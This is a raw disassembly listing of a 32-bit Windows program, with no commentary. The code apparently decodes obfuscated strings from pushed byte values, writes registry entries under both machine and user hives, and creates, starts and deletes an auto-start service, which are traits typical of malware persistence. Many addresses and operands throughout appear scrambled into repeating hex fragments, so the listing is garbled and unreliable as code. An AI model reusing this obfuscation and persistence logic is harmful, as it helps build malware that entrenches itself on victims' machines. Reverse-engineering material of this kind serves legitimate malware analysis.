		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+154h+var_24]
		push	2Dh
		push	ecx
		call	sub_4018DE
		add	esp, 0DCh
		push	eax
		lea	ecx, [esp+84h+var_54]
		mov	byte ptr [esp+84h+var_4], 4
		call	sub_401EAB
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_4011F9
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	edx, [esp+134h+var_24]
		push	2Dh
		push	edx
		call	sub_4018DE
		add	esp, 0BCh
		push	eax
		lea	ecx, [esp+84h+var_6C]
		mov	byte ptr [esp+84h+var_4], 5
		call	sub_401EAB
		lea	ecx, [esp+80h+var_24]
		mov	byte ptr [esp+80h+var_4], bl
		call	sub_4011F9
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	2F0BDAh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_401726
		mov	esi, ds:dword_4B3768
		push	eax
		push	80000002h
		call	esi
		mov	edi, [esp+80h+arg_0]
		mov	ecx, edi
		call	sub_4015F5
		mov	ecx, [esp+80h+var_70]
		mov	ebp, ds:dword_4B3730
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		mov	ebx, ds:dword_4B3778
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	1785EDh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_54]
		call	sub_401726
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_4015F5
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	offset word_4BC2F6
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_401726
		push	eax
		push	80000002h
		call	esi
		mov	ecx, edi
		call	sub_4015F5
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	65E17Bh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_6C]
		call	sub_401726
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_4015F5
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	eax, [esp+80h+var_70]
		push	0
		push	eax
		push	0
		push	72F0BDh
		push	0
		push	0
		push	0
		lea	ecx, [esp+9Ch+var_3C]
		call	sub_401726
		push	eax
		push	80000001h
		call	esi
		mov	ecx, edi
		call	sub_4015F5
		mov	ecx, [esp+80h+var_70]
		push	eax
		push	ecx
		call	ebp
		mov	edx, [esp+80h+var_70]
		push	edx
		call	ebx
		lea	ecx, [esp+80h+var_54]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_4011F9
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 0
		call	sub_4011F9
		mov	[esp+80h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+80h+var_6C]
		call	sub_4011F9
		mov	ecx, [esp+80h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 70h
		retn	4
sub_40D530	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0F0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40D9C0	proc near		; CODE XREF: sub_401442j

var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	39785Eh
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebx
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+5Ch+var_24]
		call	sub_4013CF
		push	5CBC2Fh
		push	2E5E17h
		lea	ecx, [esp+64h+var_24]
		mov	[esp+64h+var_4], 0
		call	sub_401B40
		push	eax
		call	dword ptr ds:172F0Bh
		lea	ecx, [esp+5Ch+var_3C]
		call	sub_4013CF
		mov	ecx, [esp+5Ch+arg_4]
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_401726
		push	eax
		lea	ecx, [esp+60h+var_24]
		call	sub_401726
		push	eax
		lea	eax, [esp+64h+var_3C]
		push	offset byte_4B9785
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+5Ch+var_54]
		call	sub_4013CF
		lea	ecx, [esp+5Ch+var_54]
		push	25CBC2h
		push	ecx
		mov	byte ptr [esp+64h+var_4], 2
		call	sub_40102D
		mov	ecx, [esp+64h+arg_0]
		add	esp, 8
		lea	edx, [esp+5Ch+var_54]
		lea	eax, [esp+5Ch+var_3C]
		push	edx
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_401FC8
		lea	ecx, [esp+5Ch+var_54]
		mov	bl, al
		mov	byte ptr [esp+5Ch+var_4], 1
		call	sub_4011F9
		lea	ecx, [esp+5Ch+var_3C]
		mov	byte ptr [esp+5Ch+var_4], 0
		call	sub_4011F9
		lea	ecx, [esp+5Ch+var_24]
		mov	[esp+5Ch+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	ecx, [esp+5Ch+var_C]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 54h
		retn	8
sub_40D9C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DB00	proc near		; CODE XREF: sub_401FC8j

var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	52E5E1h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 38h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	2972F0h
		push	14B978h
		mov	[esp+5Ch+var_44], ecx
		push	0
		call	dword ptr ds:0A5CBCh
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40DB3F
		xor	al, al
		jmp	loc_40DC90
; ---------------------------------------------------------------------------


loc_40DB3F:				; CODE XREF: sub_40DB00+36j
		lea	ecx, [esp+54h+var_24]
		call	sub_4013CF
		mov	ecx, [esp+54h+arg_8]
		mov	[esp+54h+var_4], 0
		call	sub_401726
		mov	ebx, [esp+54h+arg_4]
		push	eax
		mov	ecx, ebx
		call	sub_401726
		push	eax
		lea	eax, [esp+5Ch+var_24]
		push	offset word_452E5E
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+54h+var_24]
		push	0
		push	0
		push	0
		push	0
		push	0
		call	sub_401726
		push	eax
		push	1
		push	2
		push	20h
		push	62972Fh
		mov	ecx, 6D8A5Ch
		call	sub_401726
		mov	ebp, [esp+7Ch+arg_0]
		push	eax
		mov	ecx, ebp
		call	sub_401726
		push	eax
		push	edi
		call	dword ptr ds:36C52Eh
		mov	esi, eax
		xor	ecx, ecx
		cmp	esi, ecx
		jnz	short loc_40DC25
		call	dword ptr ds:5B6297h
		sub	eax, 16D8A5h
		jnz	short loc_40DC09
		mov	ecx, [esp+50h+var_40]
		push	ebp
		call	sub_40186B
		mov	esi, ds:dword_4B3760
		push	0
		call	esi
		push	edi
		call	esi
		mov	ecx, [esp+54h+var_44]
		push	ebx
		push	ebp
		call	sub_401442
		lea	ecx, [esp+54h+var_24]
		mov	bl, al
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		mov	al, bl
		jmp	loc_40DC90
; ---------------------------------------------------------------------------


loc_40DC09:				; CODE XREF: sub_40DB00+CBj
		push	edi
		call	dword ptr ds:0B6C52h
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], 0FFFFFFFFh
		call	sub_4011F9
		xor	al, al
		jmp	short loc_40DC90
; ---------------------------------------------------------------------------


loc_40DC25:				; CODE XREF: sub_40DB00+BEj
		lea	edx, [esp+50h+var_34]
		mov	dword ptr [esp+50h+var_30], ecx
		mov	[esp+50h+var_2C], ecx
		push	edx
		mov	edx, 0B6C5h
		or	ebx, 0FFFFFFFFh
		lea	ecx, [esp+54h+var_3C]
		push	2
		push	esi
		mov	[esp+5Ch+var_38], eax
		mov	[esp+5Ch+var_3C], eax
		mov	[esp+5Ch+var_34], ebx
		mov	[esp+5Ch+var_28], eax
		mov	[esp+5Ch+var_24], ecx
		call	large dword ptr	ds:5B62h
		test	eax, eax
		push	esi
		mov	esi, ds:dword_4B3760
		jnz	short loc_40DC7C
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_4011F9
		xor	al, al
		jmp	short loc_40DC90
; ---------------------------------------------------------------------------


loc_40DC7C:				; CODE XREF: sub_40DB00+164j
		call	esi
		push	edi
		call	esi
		lea	ecx, [esp+54h+var_24]
		mov	[esp+54h+var_4], ebx
		call	sub_4011F9
		mov	al, 1


loc_40DC90:				; CODE XREF: sub_40DB00+3Aj
					; sub_40DB00+104j ...
		mov	ecx, [esp+54h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 44h
		retn	0Ch
sub_40DB00	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DD20	proc near		; CODE XREF: sub_40186Bj

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  4

		sub	esp, 1Ch
		push	esi
		push	edi
		push	offset byte_402DB1
		push	6016D8h
		push	0
		call	dword ptr ds:700B6Ch
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40DD47
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40DD47:				; CODE XREF: sub_40DD20+1Bj
		mov	ecx, [esp+24h+arg_0]
		push	7805B6h
		call	sub_401726
		push	eax
		push	edi
		call	dword ptr ds:7C02DBh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40DD74
		push	edi
		call	dword ptr ds:3E016Dh
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 1Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40DD74:				; CODE XREF: sub_40DD20+41j
		lea	eax, [esp+24h+var_1C]
		push	eax
		push	1
		push	esi
		call	dword ptr ds:5F00B6h
		push	esi
		call	dword ptr ds:6F805Bh
		push	esi
		mov	esi, ds:dword_4B3760
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 1Ch
		retn	4
sub_40DD20	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DDC0	proc near		; CODE XREF: sub_401E5Bj

arg_0		= dword	ptr  4

		push	esi
		push	37C02Dh
		push	5BE016h
		push	0
		call	dword ptr ds:2DF00Bh
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40DDDF
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40DDDF:				; CODE XREF: sub_40DDC0+17j
		mov	ecx, [esp+4+arg_0]
		push	56F805h
		call	sub_401726
		push	eax
		push	esi
		call	dword ptr ds:6B7C02h
		test	eax, eax
		jnz	short loc_40DE06
		push	esi
		call	dword ptr ds:75BE01h
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40DE06:				; CODE XREF: sub_40DDC0+37j
		push	edi
		mov	edi, ds:dword_4B3760
		push	eax
		call	edi
		push	esi
		call	edi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40DDC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DE40	proc near		; CODE XREF: sub_401E7Ej

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	3ADF00h
		push	1D6F80h
		push	0
		call	dword ptr ds:4EB7C0h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_40DE61
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40DE61:				; CODE XREF: sub_40DE40+18j
		mov	ecx, [esp+8+arg_0]
		push	275BE0h
		call	sub_401726
		push	eax
		push	edi
		call	dword ptr ds:13ADF0h
		mov	esi, eax
		test	esi, esi
		jnz	short loc_40DE8B
		push	edi
		call	dword ptr ds:9D6F8h
		pop	edi
		xor	al, al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40DE8B:				; CODE XREF: sub_40DE40+3Bj
		push	0
		push	0
		push	esi
		call	ds:dword_44EB7C
		push	esi
		mov	esi, ds:dword_4B3760
		call	esi
		push	edi
		call	esi
		pop	edi
		mov	al, 1
		pop	esi
		retn	4
sub_40DE40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40DED0:				; CODE XREF: _294ADE7B:loc_40144Cj
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	6275BEh
		push	eax
		mov	large fs:0, esp
		sub	esp, 60h
		push	ebx
		push	esi
		mov	esi, [esp+78h]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+19h]
		call	sub_401479
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_40DFCA
		push	1
		push	713ADFh
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011C2
		push	1
		push	389D6Fh
		lea	ecx, [esp+14h]
		push	2
		xor	ebx, ebx
		push	ecx
		mov	ecx, esi
		mov	[esp+84h], ebx
		call	sub_4011C2
		lea	edx, [esp+0Ch]
		lea	eax, [esp+24h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+7Ch], 1
		call	sub_40168B
		test	al, al
		jz	short loc_40DF96
		lea	ecx, [esp+0Ch]
		call	sub_401726
		push	eax
		lea	ecx, [esp+28h]
		call	sub_401726
		push	eax
		push	1C4EB7h
		lea	ecx, [esi+69h]
		call	sub_401479
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	0E275Bh
		call	sub_40178F
		add	esp, 1Ch


loc_40DF96:				; CODE XREF: _294ADE7B:0040DF57j
		lea	ecx, [esp+0Ch]
		mov	[esp+74h], bl
		call	sub_4011F9
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_4011F9
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40DFCA:				; CODE XREF: _294ADE7B:0040DF06j
		lea	ecx, [edi+47h]
		call	sub_401479
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_40E069
		push	1
		push	offset byte_4713AD
		lea	eax, [esp+2Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011C2
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 2
		push	ecx
		mov	ecx, edi
		call	sub_4013F2
		test	al, al
		jz	short loc_40E042
		lea	ecx, [esp+24h]
		call	sub_401726
		push	eax
		push	6389D6h
		lea	ecx, [esi+69h]
		call	sub_401479
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	71C4EBh
		call	sub_40178F
		add	esp, 18h


loc_40E042:				; CODE XREF: _294ADE7B:0040E00Dj
		lea	ecx, [esp+24h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_4011F9
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40E069:				; CODE XREF: _294ADE7B:0040DFDCj
		lea	ecx, [edi+75h]
		call	sub_401479
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_40E17F
		push	1
		push	38E275h
		lea	ecx, [esp+44h]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4011C2
		push	1
		push	1C713Ah
		lea	edx, [esp+14h]
		push	2
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+84h], 3
		call	sub_4011C2
		push	1
		push	4E389Dh
		lea	eax, [esp+2Ch]
		mov	bl, 4
		push	3
		push	eax
		mov	ecx, esi
		mov	[esp+84h], bl
		call	sub_4011C2
		lea	ecx, [esp+24h]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+40h]
		push	edx
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+80h], 5
		call	sub_401FC8
		test	al, al
		jz	short loc_40E13D
		lea	ecx, [esp+24h]
		call	sub_401726
		push	eax
		lea	ecx, [esp+10h]
		call	sub_401726
		push	eax
		lea	ecx, [esp+44h]
		call	sub_401726
		push	eax
		push	671C4Eh
		lea	ecx, [esi+69h]
		call	sub_401479
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	338E27h
		call	sub_40178F
		add	esp, 20h


loc_40E13D:				; CODE XREF: _294ADE7B:0040E0F4j
		lea	ecx, [esp+24h]
		mov	[esp+74h], bl
		call	sub_4011F9
		lea	ecx, [esp+0Ch]
		mov	byte ptr [esp+74h], 3
		call	sub_4011F9
		lea	ecx, [esp+3Ch]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_4011F9
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40E17F:				; CODE XREF: _294ADE7B:0040E07Bj
		lea	ecx, [edi+0A3h]
		call	sub_401479
		push	eax
		mov	ecx, ebx
		call	sub_4012B7
		test	eax, eax
		jnz	loc_40E221
		push	1
		push	19C713h
		lea	eax, [esp+5Ch]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011C2
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 6
		push	ecx
		mov	ecx, edi
		call	sub_40186B
		test	al, al
		jz	short loc_40E1FA
		lea	ecx, [esp+54h]
		call	sub_401726
		push	eax
		push	4CE389h
		lea	ecx, [esi+69h]
		call	sub_401479
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	6671C4h
		call	sub_40178F
		add	esp, 18h


loc_40E1FA:				; CODE XREF: _294ADE7B:0040E1C5j
		lea	ecx, [esp+54h]
		mov	dword ptr [esp+74h], 0FFFFFFFFh
		call	sub_4011F9
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		mov	ecx, [esp+60h]
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------


loc_40E221:				; CODE XREF: _294ADE7B:0040E194j
		mov	ecx, [esp+6Ch]
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 6Ch
		retn	4
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E320	proc near		; CODE XREF: sub_401BE0j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	dword ptr ds:3338E2h
		mov	edx, eax
		mov	eax, [esp+0Ch+arg_0]
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		mov	[eax], edx
		xor	eax, eax
		add	esp, 4
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn
sub_40E320	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E390	proc near		; CODE XREF: sub_401609j

var_2A		= byte ptr -2Ah
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	199C71h
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	[esp+3Ch+var_28], esi
		call	sub_401D2F
		lea	edi, [esi+11h]
		mov	[esp+3Ch+var_4], 0
		mov	ecx, edi
		call	sub_401190
		lea	ebp, [esi+28h]
		mov	ecx, ebp
		call	sub_4013CF
		lea	ecx, [esi+3Dh]
		mov	byte ptr [esp+3Ch+var_4], 1
		call	sub_4013CF
		lea	ecx, [esi+56h]
		mov	byte ptr [esp+3Ch+var_4], 2
		call	sub_4016A9
		lea	ecx, [esi+84h]
		mov	byte ptr [esp+3Ch+var_4], 3
		call	sub_4016A9
		lea	ecx, [esi+0B2h]
		mov	byte ptr [esp+3Ch+var_4], 4
		call	sub_4016A9
		lea	ecx, [esi+0E0h]
		mov	byte ptr [esp+3Ch+var_4], 5
		call	sub_4016A9
		lea	ecx, [esi+10Eh]
		mov	byte ptr [esp+3Ch+var_4], 6
		call	sub_4016A9
		lea	ecx, [esi+13Ch]
		mov	byte ptr [esp+3Ch+var_4], 7
		call	sub_4016A9
		lea	ecx, [esi+16Ah]
		mov	byte ptr [esp+3Ch+var_4], 8
		call	sub_4016A9
		lea	ecx, [esi+198h]
		mov	byte ptr [esp+3Ch+var_4], 9
		call	sub_4016A9
		lea	ecx, [esi+1C6h]
		mov	byte ptr [esp+3Ch+var_4], 0Ah
		call	sub_4016A9
		lea	ecx, [esi+1F4h]
		mov	byte ptr [esp+3Ch+var_4], 0Bh
		call	sub_4016A9
		lea	ecx, [esi+222h]
		mov	byte ptr [esp+3Ch+var_4], 0Ch
		call	sub_4016A9
		lea	ecx, [esi+250h]
		mov	byte ptr [esp+3Ch+var_4], 0Dh
		call	sub_4016A9
		lea	ecx, [esi+27Eh]
		mov	byte ptr [esp+3Ch+var_4], 0Eh
		call	sub_4016A9
		lea	ecx, [esi+2ACh]
		mov	byte ptr [esp+3Ch+var_4], 0Fh
		call	sub_4016A9
		lea	eax, [esp+13h]
		lea	ecx, [esi+2DAh]
		push	eax
		mov	byte ptr [esp+40h+var_4], 10h
		call	sub_401686
		mov	dword ptr [edi], offset	off_437034
		mov	bl, 11h
		xor	edi, edi
		push	0CCE38h
		mov	ecx, ebp
		mov	byte ptr [esp+40h+var_4], bl
		mov	dword ptr [esi], offset	off_437028
		mov	byte ptr [esi+17h], 1
		mov	byte ptr [esi+15h], 0
		mov	byte ptr [esi+16h], 0
		mov	dword ptr [esi+18h], 0FFFFFFFFh
		mov	[esi+1Ch], edi
		mov	[esi+20h], edi
		call	sub_401564
		call	dword ptr ds:6671Ch
		push	edi
		push	21h
		push	28h
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	2Ah
		push	ecx
		mov	[esi+24h], eax
		call	sub_4018DE
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 12h
		call	sub_401726
		push	eax
		push	offset byte_43338E
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		push	edi
		push	1Fh
		push	1Dh
		push	23h
		push	2Eh
		push	29h
		lea	edx, [esp+54h+var_24]
		push	28h
		push	edx
		call	sub_4018DE
		add	esp, 20h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 13h
		call	sub_401726
		push	eax
		push	6199C7h
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		push	edi
		push	28h
		push	23h
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	24h
		push	eax
		call	sub_4018DE
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 14h
		call	sub_401726
		push	eax
		push	70CCE3h
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		push	edi
		push	21h
		push	2Dh
		push	27h
		push	30h
		push	23h
		push	2Ch
		lea	ecx, [esp+58h+var_24]
		push	2Ah
		push	ecx
		call	sub_4018DE
		add	esp, 24h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 15h
		call	sub_401726
		push	eax
		push	386671h
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		push	edi
		push	2Eh
		push	2Dh
		push	29h
		push	22h
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+5Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4018DE
		add	esp, 28h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 16h
		call	sub_401726
		push	eax
		push	1C3338h
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		push	edi
		push	46h
		push	47h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4018DE
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 17h
		call	sub_401726
		push	eax
		push	0E199Ch
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		push	edi
		push	46h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	47h
		push	ecx
		call	sub_4018DE
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 18h
		call	sub_401726
		push	eax
		push	offset word_470CCE
		call	sub_401BE0
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_4011F9
		push	edi
		push	21h
		push	28h
		push	29h
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4018DE
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 19h
		call	sub_401726
		push	eax
		push	638667h
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		push	edi
		push	2Dh
		push	2Dh


loc_40E70F:				; DATA XREF: sub_404890+AB3o
		push	1Bh
		lea	eax, [esp+4Ch+var_24]
		push	2Ah
		push	eax
		call	sub_4018DE
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ah
		call	sub_401726
		push	eax
		push	31C333h
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	28h
		push	ecx
		call	sub_4018DE
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Bh
		call	sub_401726
		push	eax
		push	58E199h
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		push	edi
		push	2Ch
		push	1Fh
		push	2Dh
		lea	edx, [esp+4Ch+var_24]
		push	2Fh
		push	edx
		call	sub_4018DE
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Ch
		call	sub_401726
		push	eax
		push	2C70CCh
		call	sub_401BE0
		add	esp, 8
		mov	byte ptr [esp+3Ch+var_4], bl
		lea	ecx, [esp+3Ch+var_24]
		call	sub_4011F9
		push	edi
		push	47h
		push	49h
		lea	eax, [esp+48h+var_24]
		push	47h
		push	eax
		call	sub_4018DE
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Dh
		call	sub_401726
		push	eax
		push	163866h
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
